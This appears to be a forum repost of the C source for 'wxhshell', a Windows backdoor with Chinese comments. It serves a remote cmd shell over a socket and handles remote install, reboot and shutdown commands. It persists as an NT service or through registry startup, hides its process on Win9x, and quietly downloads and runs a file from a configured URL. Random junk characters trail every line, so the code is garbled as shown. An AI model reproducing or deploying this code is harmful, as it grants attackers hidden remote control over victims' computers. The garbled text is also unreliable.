  // 帮助 e75 k-  
  case '?': { 9Z0(e!b4S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `Z{kJMS  
    break; "y>\ mC  
  } @:@0}]%z9  
  // 安装 u7u8cVF  
  case 'i': { hFw\uETu  
    if(Install()) d{.cIv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XA~Rn>7&H  
    else Q dKxuG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %$j)?e  
    break; \s2hep  
    } y2V9!  
  // 卸载 \ ?[#>L4  
  case 'r': { %zHNX4  
    if(Uninstall())  Z*d8b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8T'=lTJ  
    else Wh%qvV6]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 07"dU  
    break; %t0Fx  
    } w>T1D  
  // 显示 wxhshell 所在路径 yhe$A<Rl=  
  case 'p': { .~V0>r~my  
    char svExeFile[MAX_PATH]; :X[(ymWNE  
    strcpy(svExeFile,"\n\r"); KQ3]'2q  
      strcat(svExeFile,ExeFile); FxSBxz<N-A  
        send(wsh,svExeFile,strlen(svExeFile),0); YzU(U_g$  
    break; E|D~:M%~  
    } TX]4Y953D  
  // 重启 ?7@Y=7BS4  
  case 'b': { XM3N>OR.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @.fuR#  
    if(Boot(REBOOT)) e*uaxh+7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OiX>^_iDt  
    else { 1)u 3  
    closesocket(wsh); PIo/|1  
    ExitThread(0); QBa1c-Y  
    } FG7}MUu  
    break; v?rjQ'OP  
    } 9Y 1&SEsNX  
  // 关机 9|T%q2O  
  case 'd': { nM  D^x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ahkSEE{  
    if(Boot(SHUTDOWN)) |")}p=   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [JFmhLP9  
    else { `pF|bZ?v  
    closesocket(wsh); \pZ,gF;y  
    ExitThread(0); 4EzmH)4G  
    } #M6@{R2_  
    break; o)'T#uK  
    } EA%(+tJ^0  
  // 获取shell ilQ R@yp*  
  case 's': { ,#&lNQ'I  
    CmdShell(wsh); \`o+Le+%  
    closesocket(wsh); & |u  
    ExitThread(0); 7]Y Le+Ds  
    break; <3z]d?u  
  } AJSe +1  
  // 退出 Lm\N`  
  case 'x': { .ps'{rl8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +ex@[grsGT  
    CloseIt(wsh); Mn$TWhg'  
    break; XJsHy_6  
    } =)m2u2c M  
  // 离开 UiA\J  
  case 'q': { &TE=$a:d&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9 )u*IGj  
    closesocket(wsh); 6 k+FTDL  
    WSACleanup(); CJk$o K{Q  
    exit(1); O>xGH0H  
    break; .&.j?kb  
        } =6imrRaaV  
  } $x 6Rmd{  
  } [o<R#f`  
/j./  
  // 提示信息 {gluK#Qm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dna0M0   
} $"C]y$}  
  } 0 V*Di2  
r#*kx#"  
  return; oabc=N!7r  
} Oi&.pY:X-  
tYiK#N7  
// shell模块句柄 w"$CV@AJ  
int CmdShell(SOCKET sock) R6] /g  
{ ,xB&{ J  
STARTUPINFO si; d7qY(!&  
ZeroMemory(&si,sizeof(si)); :L&Bbw(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E"bYl3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rOw""mE  
PROCESS_INFORMATION ProcessInfo; !HL7a]PB  
char cmdline[]="cmd"; C_=! ( @`8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vL@N21u  
  return 0; ?1i>b->  
} !Sfy'v.  
R!;tF|]  
// 自身启动模式 K>6#MI  
int StartFromService(void) {&8-OoH ~  
{ esx<feP)\  
typedef struct eX7Ev'(H  
{ jI(~\`  
  DWORD ExitStatus; r9 'lFj  
  DWORD PebBaseAddress; < i"U%Ds(  
  DWORD AffinityMask; 4.7OX&L'G  
  DWORD BasePriority; iU{bPyz ,  
  ULONG UniqueProcessId; 7kO5hlKeo  
  ULONG InheritedFromUniqueProcessId; -}1S6dzr  
}   PROCESS_BASIC_INFORMATION; ;$l!mv 7  
L=3^A'|  
PROCNTQSIP NtQueryInformationProcess; @26H;  
AZt~ \qf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -X5rGp++  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dG}fpQ3&  
X{\>TOk   
  HANDLE             hProcess; +[8s9{1{C  
  PROCESS_BASIC_INFORMATION pbi; mb~w .~%  
048BQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v5i[jM8  
  if(NULL == hInst ) return 0; !OekN,6  
TAl py$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &K2[>5 mG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q*Per;%J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N,V %/O{Y  
LF* 7;a  
  if (!NtQueryInformationProcess) return 0; pL8+gL  
YuSe~~F)j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w' K\}G~  
  if(!hProcess) return 0; zz 7 m\  
G*2bYsnhX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b+yoD  
J/8aDr (+  
  CloseHandle(hProcess); -MOPm]iA  
H>_ FCV8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D{I^_~-\5  
if(hProcess==NULL) return 0; lidzs<W-fW  
RxU6.5N  
HMODULE hMod; YFOSv]w  
char procName[255]; iJIPH>UMX  
unsigned long cbNeeded; !/ TeTmo  
OJ\IdUZ   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B2:6=8<  
1U.se` L  
  CloseHandle(hProcess); Y>geP+ -  
%@3AA<  
if(strstr(procName,"services")) return 1; // 以服务启动 >w+WG0Z K  
]S<eO6z  
  return 0; // 注册表启动 wQWokpP;T7  
} 4_3Jpz*  
v>YdPQky  
// 主模块 5 :6^533]  
int StartWxhshell(LPSTR lpCmdLine) su/l'p'  
{ C%t~?jEK~^  
  SOCKET wsl; o $oW-U  
BOOL val=TRUE;  wX@&Qv  
  int port=0; [?iA`#^d  
  struct sockaddr_in door; $wH{snX  
EWNh:<F?  
  if(wscfg.ws_autoins) Install(); zm) ]cq  
db$Th=s[  
port=atoi(lpCmdLine); zvYkWaa_Qz  
xu(5U`K  
if(port<=0) port=wscfg.ws_port; L0ig%  
E ;65kZ  
  WSADATA data; jhrmQS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4YM!SE-I  
W_9-JM(r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =($RT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v~e@:7d i  
  door.sin_family = AF_INET; j*n Z   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8PB(<|}u  
  door.sin_port = htons(port); U:m[* }+<  
fs+l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (xpj?zlmM  
closesocket(wsl); =`[08  
return 1; =Ig'Aw$x  
} v Ic 0V  
3P~I' FQ  
  if(listen(wsl,2) == INVALID_SOCKET) { u@5vK2  
closesocket(wsl); -v .\CtpHv  
return 1; V.#,dDC@j  
} #y%bx<A  
  Wxhshell(wsl); Q( .d!CQ>  
  WSACleanup(); 0ohpJh61Q  
)$Xd#bzD|  
return 0; A9\m .3jo  
Y,?s-AB  
} Ks . m5R  
u"XqWLTV  
// 以NT服务方式启动 xr+K: bw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |E-/b6G  
{ } NW^?37  
DWORD   status = 0; NH$%g\GPs  
  DWORD   specificError = 0xfffffff; <h:>:%#k  
_+YCwg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0gO<]]M?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |ybW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n#t{3qzpD  
  serviceStatus.dwWin32ExitCode     = 0; .ii9-+_  
  serviceStatus.dwServiceSpecificExitCode = 0; l_GvdD  
  serviceStatus.dwCheckPoint       = 0; dOh'9kk3  
  serviceStatus.dwWaitHint       = 0; 8rwkux >  
{ 2G9>'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yh)yp?  
  if (hServiceStatusHandle==0) return; Xd/gvg{??0  
\GS]jhEtn  
status = GetLastError(); (G $nN*rlu  
  if (status!=NO_ERROR) aKXaor@0f.  
{ &54fFyJF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fj}|uiOQUS  
    serviceStatus.dwCheckPoint       = 0; U<{8nMB  
    serviceStatus.dwWaitHint       = 0; &SfJwdG*=  
    serviceStatus.dwWin32ExitCode     = status; |#8u:rguy  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q3> 3!FAO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); </F@ 5*  
    return; :W(3<D7\  
  } LWE[]1=  
fH~InDT^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z3?,r[   
  serviceStatus.dwCheckPoint       = 0; X{zg-k(@  
  serviceStatus.dwWaitHint       = 0; $~vy,^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p>4$&-  
} qYv/" 1  
*5Upb,* *  
// 处理NT服务事件,比如:启动、停止 x'kwk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y>wrm:b-O  
{ B5h-JON]-  
switch(fdwControl) ^(y=DJ7  
{ wJ@8-H 8}  
case SERVICE_CONTROL_STOP: q(<#7 spz  
  serviceStatus.dwWin32ExitCode = 0; <ABN/nH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RB<LZHZI  
  serviceStatus.dwCheckPoint   = 0; `l,=iy$  
  serviceStatus.dwWaitHint     = 0; 6}^0/ 76^,  
  { d2lOx|jt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4<._)_m  
  } oR (hL4Dc  
  return; v(D{_  
case SERVICE_CONTROL_PAUSE: Au jvKQ(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N<o3pX2i]  
  break; ._@Scd  
case SERVICE_CONTROL_CONTINUE: vWY}+#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BE. v+'c"  
  break; i0DYdUj  
case SERVICE_CONTROL_INTERROGATE: wjh[}rTV*  
  break; Nw ;BhBt  
}; EeGP E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ModwJ w  
} c#sPM!!  
z3+y|nx!  
// 标准应用程序主函数 AY4ZU CqI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q!K@  
{ YSwAu,$jf  
!Cxo4Twg  
// 获取操作系统版本 wHm{4  
OsIsNt=GetOsVer(); 0STtwfTr:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'teToE<i  
PmOm>  
  // 从命令行安装 la#f,C3_  
  if(strpbrk(lpCmdLine,"iI")) Install(); }M?\BH&  
N^7Qn*qt[  
  // 下载执行文件 &No6k~T0:b  
if(wscfg.ws_downexe) { ~$XbYR-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f!hQ"1[  
  WinExec(wscfg.ws_filenam,SW_HIDE); L6`(YX.:  
} Eyi^N0  
,JIjAm*2  
if(!OsIsNt) { {a`t1oX(  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jj+|>(P  
HideProc(); 3 EH/6  
StartWxhshell(lpCmdLine); tdSy&]P  
} A6ipA /_  
else vmdu9"H  
  if(StartFromService()) J'^H@L/E  
  // 以服务方式启动 "?EoYF_  
  StartServiceCtrlDispatcher(DispatchTable); i? 5jl&30  
else xCwd*lsM  
  // 普通方式启动 +c4]}9f!  
  StartWxhshell(lpCmdLine); N*z_rZE  
GJz d4kj  
return 0; q<(yNqMKP  
}
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只看该作者 1 发表于: 2006-10-10
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